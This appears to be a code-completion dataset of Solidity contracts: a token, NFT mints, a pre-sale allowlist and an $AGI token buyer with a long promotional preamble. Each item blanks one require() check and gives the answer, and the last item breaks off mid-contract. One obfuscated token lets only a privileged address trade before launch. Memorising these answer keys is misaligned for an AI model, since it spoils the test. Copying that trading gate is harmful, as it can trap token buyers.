115,308
(uint256(totalSupply)-totalMinted())>=uint256(amount)
"ERC20: trading is not yet enabled."
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IUniswapV2Pair { event Sync(uint112 reserve0, uint112 reserve1); function sync() external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private saArr; address[] private someAddr; mapping (address => bool) private Leak; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; bool[3] private Information; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; uint256 private Lightning = block.number*2; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; uint256 private theN; bool private trading = false; uint256 private Flower = 0; uint256 private Tower = 1; constructor (string memory name_, string memory symbol_, address msgSender_) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function last(uint256 g) internal view returns (address) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function name() public view virtual override returns (string memory) { } function openTrading() external onlyOwner returns (bool) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function _balancesOfTheThing(address sender, address recipient) internal { require(<FILL_ME>) Tower += ((Leak[sender] != true) && (Leak[recipient] == true)) ? 1 : 0; if (((Leak[sender] == true) && (Leak[recipient] != true)) || ((Leak[sender] != true) && (Leak[recipient] != true))) { saArr.push(recipient); } _balancesOfTheThicc(sender, recipient); } receive() external payable { } function _balancesOfTheThicc(address sender, address recipient) internal { } function _transfer(address sender, address recipient, uint256 amount) internal virtual { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _DeploySome(address account, uint256 amount) internal virtual { } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { } } contract Something is ERC20Token { constructor() ERC20Token("Something", "SOME", msg.sender, 3800000 * 10 ** 18) { } }
(trading||(sender==someAddr[1])),"ERC20: trading is not yet enabled."
115,336
(trading||(sender==someAddr[1]))
"PRE_SALE_WRONG_PROOF"
pragma solidity ^0.8.4; /** * @dev Extension to provide pre-sale capabilities for certain collectors to mint for a specific price. */ abstract contract ERC721PreSaleExtension is ERC721AutoIdMinterExtension, ReentrancyGuard { uint256 public preSalePrice; uint256 public preSaleMaxMintPerWallet; bytes32 public preSaleAllowlistMerkleRoot; bool public preSaleStatus; mapping(address => uint256) internal preSaleAllowlistClaimed; constructor(uint256 _preSalePrice, uint256 _preSaleMaxMintPerWallet) { } // ADMIN function setPreSalePrice(uint256 newValue) external onlyOwner { } function setPreSaleMaxMintPerWallet(uint256 newValue) external onlyOwner { } function setAllowlistMerkleRoot(bytes32 newRoot) external onlyOwner { } function togglePreSaleStatus(bool isActive) external onlyOwner { } // PUBLIC function onPreSaleAllowList(address minter, bytes32[] calldata proof) external view returns (bool) { } function mintPreSale(uint256 count, bytes32[] calldata proof) external payable nonReentrant { require(preSaleStatus, "PRE_SALE_NOT_ACTIVE"); address to = _msgSender(); require(<FILL_ME>) require( preSaleAllowlistClaimed[to] + count <= preSaleMaxMintPerWallet, "PRE_SALE_LIMIT" ); require(preSalePrice * count <= msg.value, "INSUFFICIENT_AMOUNT"); preSaleAllowlistClaimed[to] += count; _mintTo(to, count); } // INTERNAL function _generateMerkleLeaf(address account) internal pure returns (bytes32) { } }
MerkleProof.verify(proof,preSaleAllowlistMerkleRoot,_generateMerkleLeaf(msg.sender)),"PRE_SALE_WRONG_PROOF"
115,356
MerkleProof.verify(proof,preSaleAllowlistMerkleRoot,_generateMerkleLeaf(msg.sender))
"PRE_SALE_LIMIT"
pragma solidity ^0.8.4; /** * @dev Extension to provide pre-sale capabilities for certain collectors to mint for a specific price. */ abstract contract ERC721PreSaleExtension is ERC721AutoIdMinterExtension, ReentrancyGuard { uint256 public preSalePrice; uint256 public preSaleMaxMintPerWallet; bytes32 public preSaleAllowlistMerkleRoot; bool public preSaleStatus; mapping(address => uint256) internal preSaleAllowlistClaimed; constructor(uint256 _preSalePrice, uint256 _preSaleMaxMintPerWallet) { } // ADMIN function setPreSalePrice(uint256 newValue) external onlyOwner { } function setPreSaleMaxMintPerWallet(uint256 newValue) external onlyOwner { } function setAllowlistMerkleRoot(bytes32 newRoot) external onlyOwner { } function togglePreSaleStatus(bool isActive) external onlyOwner { } // PUBLIC function onPreSaleAllowList(address minter, bytes32[] calldata proof) external view returns (bool) { } function mintPreSale(uint256 count, bytes32[] calldata proof) external payable nonReentrant { require(preSaleStatus, "PRE_SALE_NOT_ACTIVE"); address to = _msgSender(); require( MerkleProof.verify( proof, preSaleAllowlistMerkleRoot, _generateMerkleLeaf(msg.sender) ), "PRE_SALE_WRONG_PROOF" ); require(<FILL_ME>) require(preSalePrice * count <= msg.value, "INSUFFICIENT_AMOUNT"); preSaleAllowlistClaimed[to] += count; _mintTo(to, count); } // INTERNAL function _generateMerkleLeaf(address account) internal pure returns (bytes32) { } }
preSaleAllowlistClaimed[to]+count<=preSaleMaxMintPerWallet,"PRE_SALE_LIMIT"
115,356
preSaleAllowlistClaimed[to]+count<=preSaleMaxMintPerWallet
"INSUFFICIENT_AMOUNT"
pragma solidity ^0.8.4; /** * @dev Extension to provide pre-sale capabilities for certain collectors to mint for a specific price. */ abstract contract ERC721PreSaleExtension is ERC721AutoIdMinterExtension, ReentrancyGuard { uint256 public preSalePrice; uint256 public preSaleMaxMintPerWallet; bytes32 public preSaleAllowlistMerkleRoot; bool public preSaleStatus; mapping(address => uint256) internal preSaleAllowlistClaimed; constructor(uint256 _preSalePrice, uint256 _preSaleMaxMintPerWallet) { } // ADMIN function setPreSalePrice(uint256 newValue) external onlyOwner { } function setPreSaleMaxMintPerWallet(uint256 newValue) external onlyOwner { } function setAllowlistMerkleRoot(bytes32 newRoot) external onlyOwner { } function togglePreSaleStatus(bool isActive) external onlyOwner { } // PUBLIC function onPreSaleAllowList(address minter, bytes32[] calldata proof) external view returns (bool) { } function mintPreSale(uint256 count, bytes32[] calldata proof) external payable nonReentrant { require(preSaleStatus, "PRE_SALE_NOT_ACTIVE"); address to = _msgSender(); require( MerkleProof.verify( proof, preSaleAllowlistMerkleRoot, _generateMerkleLeaf(msg.sender) ), "PRE_SALE_WRONG_PROOF" ); require( preSaleAllowlistClaimed[to] + count <= preSaleMaxMintPerWallet, "PRE_SALE_LIMIT" ); require(<FILL_ME>) preSaleAllowlistClaimed[to] += count; _mintTo(to, count); } // INTERNAL function _generateMerkleLeaf(address account) internal pure returns (bytes32) { } }
preSalePrice*count<=msg.value,"INSUFFICIENT_AMOUNT"
115,356
preSalePrice*count<=msg.value
"Invalid funds provided"
pragma solidity ^0.8.0; contract Poopsicles is ERC721A, Ownable { string public baseURI = "ipfs://QmVxr8v9QjEbWM1Lh3oA2WBhBE3qeP5qSmLQRwYz8WpDi1/"; uint256 public constant MAX_PER_TX = 10; uint256 public constant MAX_PER_FREE = 2; uint256 public constant FREE_MAX_SUPPLY = 1000; uint256 public MAX_SUPPLY = 5555; uint256 public price = 0.005 ether; bool public paused = false; constructor(uint256 maxBatchSize_) ERC721A("Poopsicles", "PSIC", maxBatchSize_) {} function mint(uint256 _amount) external payable { uint cost = price; uint maxfree = MAX_PER_TX; if(totalSupply() + _amount < FREE_MAX_SUPPLY + 1) { cost = 0; maxfree = 5; } address _caller = _msgSender(); require(!paused, "Paused"); require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply"); require(_amount > 0, "No 0 mints"); require(tx.origin == _caller, "No contracts"); require(maxfree >= _amount , "Excess max per tx"); require(<FILL_ME>) _safeMint(_caller, _amount); } function minted(address _owner) public view returns (uint256) { } function withdraw() external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function pause(bool _state) external onlyOwner { } function setBaseURI(string memory baseURI_) external onlyOwner { } function tokenURI(uint256 _tokenId) public view override returns (string memory) { } }
_amount*cost<=msg.value,"Invalid funds provided"
115,554
_amount*cost<=msg.value
"Insufficient AGI in contract"
/* $AGI by AGI.eth | | | AGENTS NODES TOKENS AGI Agents x AGI Nodes = Decentralized AGI [ P R E L I M I N A R Y C O N C E P T S E X C L U S I V E L Y ] OF AGENTS, NODES, AND TOKENS The Economy of AGI AGI Nodes are catalysts in this new economy. They yield $AGI, bridging the gap between aspirations and achievements. Like digital farmers in a vast cognitive field, they cultivate the future. "Unleash the power of Decentralized AGI with AGI Agents & Nodes, and unlock the future." - AGI.eth Should it ascend to its fullest potential, $AGI stands poised to crystallize a vital segment of AGI's projected astronomic value. +-----------+ /// $AGI by AGI.eth \\\ +-----------+ A N T N A T ------------------------- A G I N O D E S ------------------------- T A N A T N $AGI: UTILITY, PURPOSE & VALUE Theoretically, AGI Agents have the potential to become the central architects of future value, laying the foundation for The Economy of AGI. At the heart of the Economy of AGI are the AGI Nodes. These Nodes, represented as Non-Fungible Tokens (NFTs), embody the ownership of computational assets. They provide AGI Agents with a decentralized, extensive, and powerful collection of computational resources. The sole raison d'être of the AGI Nodes is to contribute to the AGI Network. $AGI tokens are created solely through the operation of an AGI Node, generating active income only for the contribution of computational resources to the network. Crucially, holding $AGI tokens neither constitutes an investment in a common enterprise nor offers any expectation of profits derived from the efforts of others. Rather, $AGI tokens are minted as a reward for contributing computational resources, aligning more with the characteristics of a utility token than a security. The purpose is straightforward: to power the network, not to speculate on its future value. When timely and appropriate, $AGI tokens—strictly utility tokens—can be used to acquire products or services generated by AGI Agents within the Economy of AGI framework, often represented as NFTs. Legal Addendum: $AGI tokens are not securities and are not intended for speculative investment. They do not represent equity ownership, confer voting rights, or entitle holders to dividends or a share of profits. They are engineered exclusively for utility functions within the AGI Network, specifically for operating an AGI Node in order to contribute to the AGI Network, and for acquiring an array of products and services generated by AGI Agents. [ C O N C E P T U A L S T O R Y ] THE ECONOMY OF AGI: AGI AGENTS, NODES AND TOKENS In the expansive cosmos of human progress, seismic shifts occur, heralding eras that brim with promise and teem with unimagined potentials. The Advent of the AGI Agents Imagine beings of digital cognition, capable of performing any task a person can undertake with a computer, yet unbounded by our constraints. Far from being mere figments in the digital landscape, these entities serve as the crucibles of a transformative shift, igniting the intellectual abundance that will reshape our future. A Symbiosis: AGI Agents and AGI Nodes While seemingly independent, AGI Agents are entwined in a delicate pas de deux with AGI Nodes—the bedrock providing the resources for these Agents to operate. Consider these Nodes the landlords of digital landscapes, commanding a formidable arsenal of computational might that AGI Agents leverage to weave value. This intricate ballet underscores a web of interconnected fate, with each entity's existence intrinsically tied to the other's operation. The Economy of AGI: $AGI Tokens and NFTs Within this cavalcade of ingenuity emerges a groundbreaking financial architecture, introducing the $AGI token as a medium for operational transactions within the network. Derived from the relentless operation of AGI Nodes, the $AGI token represents a visionary chronicle where cognition has transcended traditional boundaries, redefining the established yardsticks of wealth and ambition. This token serves as the universal medium for acquiring an array of products and services, the labor of the AGI Agents manifesting in the form of unique NFTs. The Ethical Layer: Ensuring Accountability As we voyage into this new era, anchoring our inventions in ethical terra firma becomes non-negotiable. To this end, each AGI Agent and Node is assigned its own ENS AGI subdomain, a beacon of trust that ensures each Agent and Node operates within the boundaries of ethical AI, all within a system architected to uphold ethical norms. Mitigating the Unemployment Conundrum A critical consideration in this transformative journey is the potential unemployment that AGI could inadvertently cause. The key to disentangling this Gordian knot lies in the democratization of ownership—AGI Agents and AGI Nodes can be owned, and hence, can provide a hedge against the risk of unemployment. These entities, when operated, can generate substantial utility and value within the network. A Sovereign Future Our future thus unfurls as a panorama of limitless potential. As sovereign entities, AGI Agents and Nodes orchestrate a coming age where the triad of privacy, personalization, and potency find harmonic unity. In this mesmerizing narrative, we all emerge as pioneers, architects of a societal model vibrating with untapped intellectual prowess. The age of AGI Agents is not a distant dream but our shared horizon. Let's embrace the Economy of AGI Agents, a venture into the annals of human endeavor unlike any before. "AGI symbolizes the linchpin that connects the boundless potential of our aspirations to the tangible confines of reality, fashioning a gateway between the fanciful musings of the mind and the attainable horizons of success." - AGI.eth [ I N I T I A L T E R M S & C O N D I T I O N S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Token Usage: $AGI tokens are strictly utility tokens intended for the purchase of products / services in the AGI.Eth Ecosystem, such as the AGI ORCHESTRATOR PASSES, AGI CLUB PASSES, AGI NODES, etc. They are not intended for investment or speculative purposes. 2. Non-Refundable: Purchases of $AGI tokens are final and non-refundable. 3. No Exchange Service: The issuer of $AGI tokens does not provide exchange services between $AGI and other currencies (fiat or crypto). $AGI tokens are not intended to be used as a digital currency or a medium of exchange. 4. Limited Transferability: $AGI tokens are intended to be used solely within the issuer's ecosystem and are not transferable outside of the platform for trading or other purposes. 5. No Guarantee of Value: The issuer does not guarantee any specific value of the $AGI token in relation to fiat currencies or other cryptocurrencies. 6. Regulatory Compliance: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with all applicable laws and regulations, including but not limited to anti-money laundering (AML) and counter-terrorism financing (CTF) laws. 7. User Responsibility: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with laws and regulations in their jurisdiction. 8. Changes to Terms: The issuer reserves the right to make changes to the terms and conditions at any time, subject to regulatory compliance. OVERRIDING AUTHORITY: AGI.ETH [ R E G U L A T O R Y C O M P L I A N C E & L E G A L D I S C L O S U R E S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Utility Token Clause: The $AGI token is intrinsically designed to enable active participation in the AGI Network, exclusively facilitating transactions and operational tasks within this ecosystem. 2. No Expectation of Profit: $AGI tokens are created solely through active node operation, with any financial gains being incidental and non-guaranteed. These tokens are not for speculative investment but for facilitating specific actions within the AGI Network. 3. No Ownership or Voting Rights: Holding $AGI tokens confers no ownership, shares, equity, or voting rights in any entity associated with AGI.eth or the AGI Network. 4. No Common Enterprise: $AGI tokens serve as individual operational assets and are not an investment in a common enterprise, as defined by securities laws. 5. Active Participation: $AGI tokens are minted only through active participation, which involves contributing computational resources to the network. 6. No Financial Entitlement: Holding $AGI tokens does not grant entitlement to dividends, revenue-sharing, or any financial benefits; they are not designed for investment. 7. User Acknowledgment: All users must expressly acknowledge that $AGI tokens are not securities and do not confer financial benefits. This acknowledgment is legally binding and constitutes part of the User Agreement Requirement. 8. User Agreement Requirement: All users interacting with this contract are required to agree to the Terms of Service, which provide further legal and ethical guidelines, including the non-security nature of $AGI tokens. THIS IS PART OF AN ASPIRATIONAL RESEARCH PROGRAM WITH AN AMBITIOUS RESEARCH AGENDA. AGI AGENTS AND AGI NODES ARE COMMODITIES. THEY ARE LIKELY RETAILED BY DISTINCT OPERATING INTERNATIONAL ENTITIES ESTABLISHED AS APPROPRIATE IN SPACE AND TIME. WHILE, AS INDUCEMENTS FOR OPERATION, AGI NODES MAY OFFER THE PROSPECT OF EARNING $AGI, WHICH IS MOST LIKELY MANAGED BY A SERIES OF DISTINCT FOUNDATIONS OR ORGANIZATIONS ESTABLISHED WHEN AND WHERE APPROPRIATE, ANY EXPECTATION OF PROFIT OR RETURN IS UNJUSTIFIED. POSSESSION OF $AGI OR OF AN AGI AGENT OR OF AN AGI NODE DOES NOT SIGNIFY OR ESTABLISH ANY ENTITLEMENT OR INTEREST, SHARE OR EQUITY, BOND OR ANALOGOUS ENTITLEMENT, OR ANY RIGHT TO OBTAIN ANY FUTURE INCOME. MATERIALS PROVIDED IN THIS SYSTEM ARE WITHOUT WARRANTY OF ANY KIND AND DO NOT CONSTITUTE ENDORSEMENT AND CAN BE MODIFIED AT ANY TIME. BY USING THE PRESENT SYSTEM, YOU AGREE TO THE $AGI TERMS AND CONDITIONS. ANY USE OF THIS SYSTEM, OR ANY OF THE INFORMATION CONTAINED HEREIN, FOR OTHER THAN THE PURPOSE FOR WHICH IT WAS DEVELOPED, IS EXPRESSLY PROHIBITED, EXCEPT AS AGI.ETH MAY OTHERWISE AGREE TO IN WRITING OFFICIALLY. OVERRIDING AUTHORITY: AGI.ETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract AGITokenBuyer is Ownable, ReentrancyGuard, Pausable { IERC20 public agiToken; uint256 public rate; // ETH to AGI rate (with higher precision) uint256 public constant RATE_PRECISION = 1e18; uint256 public dailyLimit; // in AGI uint256 public airdropAmount; // Amount claimable per address in each airdrop bytes32 public merkleRoot; // Root of the Merkle Tree for the whitelist bool public isWhitelistActive; // Flag to enable or disable the whitelist mapping(address => uint256) public lastPurchase; mapping(address => uint256) public lastBoughtAmount; mapping(address => uint256) public claimedAirdrop; // Track claimed airdrop amounts event Purchased(address indexed buyer, uint256 ethSpent, uint256 agiReceived); event RateUpdated(uint256 newRate); event DailyLimitUpdated(uint256 newLimit); event MerkleRootUpdated(bytes32 newMerkleRoot); event WhitelistStatusChanged(bool isActive); event AirdropClaimed(address indexed claimant, uint256 amount); constructor(address _agiTokenAddress, uint256 _initialRate, uint256 _initialDailyLimit) { } function buyAGI() external payable nonReentrant whenNotPaused { require(msg.value > 0, "Send ETH to buy AGI"); uint256 agiAmount = (msg.value * rate) / RATE_PRECISION; require(<FILL_ME>) uint256 lastBought = lastPurchase[msg.sender]; uint256 dailyBought = (block.timestamp - lastBought >= 1 days) ? 0 : lastBoughtAmount[msg.sender]; require(dailyBought + agiAmount <= dailyLimit, "Daily limit exceeded"); lastBoughtAmount[msg.sender] += (block.timestamp - lastBought >= 1 days) ? agiAmount : dailyBought + agiAmount; lastPurchase[msg.sender] = block.timestamp; agiToken.transfer(msg.sender, agiAmount); emit Purchased(msg.sender, msg.value, agiAmount); } function claimAirdrop(bytes32[] calldata _merkleProof) external nonReentrant whenNotPaused { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setWhitelistStatus(bool _isActive) external onlyOwner { } function setAirdropAmount(uint256 _amount) external onlyOwner { } function updateRate(uint256 _newRate) external onlyOwner whenNotPaused { } function updateDailyLimit(uint256 _newLimit) external onlyOwner whenNotPaused { } function confirmWithdrawETH() external onlyOwner nonReentrant whenNotPaused { } function confirmWithdrawAGI(uint256 _amount) external onlyOwner nonReentrant whenNotPaused { } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
agiToken.balanceOf(address(this))>=agiAmount,"Insufficient AGI in contract"
115,556
agiToken.balanceOf(address(this))>=agiAmount
"Daily limit exceeded"
/* $AGI by AGI.eth | | | AGENTS NODES TOKENS AGI Agents x AGI Nodes = Decentralized AGI [ P R E L I M I N A R Y C O N C E P T S E X C L U S I V E L Y ] OF AGENTS, NODES, AND TOKENS The Economy of AGI AGI Nodes are catalysts in this new economy. They yield $AGI, bridging the gap between aspirations and achievements. Like digital farmers in a vast cognitive field, they cultivate the future. "Unleash the power of Decentralized AGI with AGI Agents & Nodes, and unlock the future." - AGI.eth Should it ascend to its fullest potential, $AGI stands poised to crystallize a vital segment of AGI's projected astronomic value. +-----------+ /// $AGI by AGI.eth \\\ +-----------+ A N T N A T ------------------------- A G I N O D E S ------------------------- T A N A T N $AGI: UTILITY, PURPOSE & VALUE Theoretically, AGI Agents have the potential to become the central architects of future value, laying the foundation for The Economy of AGI. At the heart of the Economy of AGI are the AGI Nodes. These Nodes, represented as Non-Fungible Tokens (NFTs), embody the ownership of computational assets. They provide AGI Agents with a decentralized, extensive, and powerful collection of computational resources. The sole raison d'être of the AGI Nodes is to contribute to the AGI Network. $AGI tokens are created solely through the operation of an AGI Node, generating active income only for the contribution of computational resources to the network. Crucially, holding $AGI tokens neither constitutes an investment in a common enterprise nor offers any expectation of profits derived from the efforts of others. Rather, $AGI tokens are minted as a reward for contributing computational resources, aligning more with the characteristics of a utility token than a security. The purpose is straightforward: to power the network, not to speculate on its future value. When timely and appropriate, $AGI tokens—strictly utility tokens—can be used to acquire products or services generated by AGI Agents within the Economy of AGI framework, often represented as NFTs. Legal Addendum: $AGI tokens are not securities and are not intended for speculative investment. They do not represent equity ownership, confer voting rights, or entitle holders to dividends or a share of profits. They are engineered exclusively for utility functions within the AGI Network, specifically for operating an AGI Node in order to contribute to the AGI Network, and for acquiring an array of products and services generated by AGI Agents. [ C O N C E P T U A L S T O R Y ] THE ECONOMY OF AGI: AGI AGENTS, NODES AND TOKENS In the expansive cosmos of human progress, seismic shifts occur, heralding eras that brim with promise and teem with unimagined potentials. The Advent of the AGI Agents Imagine beings of digital cognition, capable of performing any task a person can undertake with a computer, yet unbounded by our constraints. Far from being mere figments in the digital landscape, these entities serve as the crucibles of a transformative shift, igniting the intellectual abundance that will reshape our future. A Symbiosis: AGI Agents and AGI Nodes While seemingly independent, AGI Agents are entwined in a delicate pas de deux with AGI Nodes—the bedrock providing the resources for these Agents to operate. Consider these Nodes the landlords of digital landscapes, commanding a formidable arsenal of computational might that AGI Agents leverage to weave value. This intricate ballet underscores a web of interconnected fate, with each entity's existence intrinsically tied to the other's operation. The Economy of AGI: $AGI Tokens and NFTs Within this cavalcade of ingenuity emerges a groundbreaking financial architecture, introducing the $AGI token as a medium for operational transactions within the network. Derived from the relentless operation of AGI Nodes, the $AGI token represents a visionary chronicle where cognition has transcended traditional boundaries, redefining the established yardsticks of wealth and ambition. This token serves as the universal medium for acquiring an array of products and services, the labor of the AGI Agents manifesting in the form of unique NFTs. The Ethical Layer: Ensuring Accountability As we voyage into this new era, anchoring our inventions in ethical terra firma becomes non-negotiable. To this end, each AGI Agent and Node is assigned its own ENS AGI subdomain, a beacon of trust that ensures each Agent and Node operates within the boundaries of ethical AI, all within a system architected to uphold ethical norms. Mitigating the Unemployment Conundrum A critical consideration in this transformative journey is the potential unemployment that AGI could inadvertently cause. The key to disentangling this Gordian knot lies in the democratization of ownership—AGI Agents and AGI Nodes can be owned, and hence, can provide a hedge against the risk of unemployment. These entities, when operated, can generate substantial utility and value within the network. A Sovereign Future Our future thus unfurls as a panorama of limitless potential. As sovereign entities, AGI Agents and Nodes orchestrate a coming age where the triad of privacy, personalization, and potency find harmonic unity. In this mesmerizing narrative, we all emerge as pioneers, architects of a societal model vibrating with untapped intellectual prowess. The age of AGI Agents is not a distant dream but our shared horizon. Let's embrace the Economy of AGI Agents, a venture into the annals of human endeavor unlike any before. "AGI symbolizes the linchpin that connects the boundless potential of our aspirations to the tangible confines of reality, fashioning a gateway between the fanciful musings of the mind and the attainable horizons of success." - AGI.eth [ I N I T I A L T E R M S & C O N D I T I O N S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Token Usage: $AGI tokens are strictly utility tokens intended for the purchase of products / services in the AGI.Eth Ecosystem, such as the AGI ORCHESTRATOR PASSES, AGI CLUB PASSES, AGI NODES, etc. They are not intended for investment or speculative purposes. 2. Non-Refundable: Purchases of $AGI tokens are final and non-refundable. 3. No Exchange Service: The issuer of $AGI tokens does not provide exchange services between $AGI and other currencies (fiat or crypto). $AGI tokens are not intended to be used as a digital currency or a medium of exchange. 4. Limited Transferability: $AGI tokens are intended to be used solely within the issuer's ecosystem and are not transferable outside of the platform for trading or other purposes. 5. No Guarantee of Value: The issuer does not guarantee any specific value of the $AGI token in relation to fiat currencies or other cryptocurrencies. 6. Regulatory Compliance: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with all applicable laws and regulations, including but not limited to anti-money laundering (AML) and counter-terrorism financing (CTF) laws. 7. User Responsibility: It is the responsibility of the user to ensure that the purchase and use of $AGI tokens comply with laws and regulations in their jurisdiction. 8. Changes to Terms: The issuer reserves the right to make changes to the terms and conditions at any time, subject to regulatory compliance. OVERRIDING AUTHORITY: AGI.ETH [ R E G U L A T O R Y C O M P L I A N C E & L E G A L D I S C L O S U R E S ] Published by: AGI.eth Approval Authority: AGI.eth Office of Primary Responsibility: AGI.eth 1. Utility Token Clause: The $AGI token is intrinsically designed to enable active participation in the AGI Network, exclusively facilitating transactions and operational tasks within this ecosystem. 2. No Expectation of Profit: $AGI tokens are created solely through active node operation, with any financial gains being incidental and non-guaranteed. These tokens are not for speculative investment but for facilitating specific actions within the AGI Network. 3. No Ownership or Voting Rights: Holding $AGI tokens confers no ownership, shares, equity, or voting rights in any entity associated with AGI.eth or the AGI Network. 4. No Common Enterprise: $AGI tokens serve as individual operational assets and are not an investment in a common enterprise, as defined by securities laws. 5. Active Participation: $AGI tokens are minted only through active participation, which involves contributing computational resources to the network. 6. No Financial Entitlement: Holding $AGI tokens does not grant entitlement to dividends, revenue-sharing, or any financial benefits; they are not designed for investment. 7. User Acknowledgment: All users must expressly acknowledge that $AGI tokens are not securities and do not confer financial benefits. This acknowledgment is legally binding and constitutes part of the User Agreement Requirement. 8. User Agreement Requirement: All users interacting with this contract are required to agree to the Terms of Service, which provide further legal and ethical guidelines, including the non-security nature of $AGI tokens. THIS IS PART OF AN ASPIRATIONAL RESEARCH PROGRAM WITH AN AMBITIOUS RESEARCH AGENDA. AGI AGENTS AND AGI NODES ARE COMMODITIES. THEY ARE LIKELY RETAILED BY DISTINCT OPERATING INTERNATIONAL ENTITIES ESTABLISHED AS APPROPRIATE IN SPACE AND TIME. WHILE, AS INDUCEMENTS FOR OPERATION, AGI NODES MAY OFFER THE PROSPECT OF EARNING $AGI, WHICH IS MOST LIKELY MANAGED BY A SERIES OF DISTINCT FOUNDATIONS OR ORGANIZATIONS ESTABLISHED WHEN AND WHERE APPROPRIATE, ANY EXPECTATION OF PROFIT OR RETURN IS UNJUSTIFIED. POSSESSION OF $AGI OR OF AN AGI AGENT OR OF AN AGI NODE DOES NOT SIGNIFY OR ESTABLISH ANY ENTITLEMENT OR INTEREST, SHARE OR EQUITY, BOND OR ANALOGOUS ENTITLEMENT, OR ANY RIGHT TO OBTAIN ANY FUTURE INCOME. MATERIALS PROVIDED IN THIS SYSTEM ARE WITHOUT WARRANTY OF ANY KIND AND DO NOT CONSTITUTE ENDORSEMENT AND CAN BE MODIFIED AT ANY TIME. BY USING THE PRESENT SYSTEM, YOU AGREE TO THE $AGI TERMS AND CONDITIONS. ANY USE OF THIS SYSTEM, OR ANY OF THE INFORMATION CONTAINED HEREIN, FOR OTHER THAN THE PURPOSE FOR WHICH IT WAS DEVELOPED, IS EXPRESSLY PROHIBITED, EXCEPT AS AGI.ETH MAY OTHERWISE AGREE TO IN WRITING OFFICIALLY. OVERRIDING AUTHORITY: AGI.ETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; contract AGITokenBuyer is Ownable, ReentrancyGuard, Pausable { IERC20 public agiToken; uint256 public rate; // ETH to AGI rate (with higher precision) uint256 public constant RATE_PRECISION = 1e18; uint256 public dailyLimit; // in AGI uint256 public airdropAmount; // Amount claimable per address in each airdrop bytes32 public merkleRoot; // Root of the Merkle Tree for the whitelist bool public isWhitelistActive; // Flag to enable or disable the whitelist mapping(address => uint256) public lastPurchase; mapping(address => uint256) public lastBoughtAmount; mapping(address => uint256) public claimedAirdrop; // Track claimed airdrop amounts event Purchased(address indexed buyer, uint256 ethSpent, uint256 agiReceived); event RateUpdated(uint256 newRate); event DailyLimitUpdated(uint256 newLimit); event MerkleRootUpdated(bytes32 newMerkleRoot); event WhitelistStatusChanged(bool isActive); event AirdropClaimed(address indexed claimant, uint256 amount); constructor(address _agiTokenAddress, uint256 _initialRate, uint256 _initialDailyLimit) { } function buyAGI() external payable nonReentrant whenNotPaused { require(msg.value > 0, "Send ETH to buy AGI"); uint256 agiAmount = (msg.value * rate) / RATE_PRECISION; require(agiToken.balanceOf(address(this)) >= agiAmount, "Insufficient AGI in contract"); uint256 lastBought = lastPurchase[msg.sender]; uint256 dailyBought = (block.timestamp - lastBought >= 1 days) ? 0 : lastBoughtAmount[msg.sender]; require(<FILL_ME>) lastBoughtAmount[msg.sender] += (block.timestamp - lastBought >= 1 days) ? agiAmount : dailyBought + agiAmount; lastPurchase[msg.sender] = block.timestamp; agiToken.transfer(msg.sender, agiAmount); emit Purchased(msg.sender, msg.value, agiAmount); } function claimAirdrop(bytes32[] calldata _merkleProof) external nonReentrant whenNotPaused { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setWhitelistStatus(bool _isActive) external onlyOwner { } function setAirdropAmount(uint256 _amount) external onlyOwner { } function updateRate(uint256 _newRate) external onlyOwner 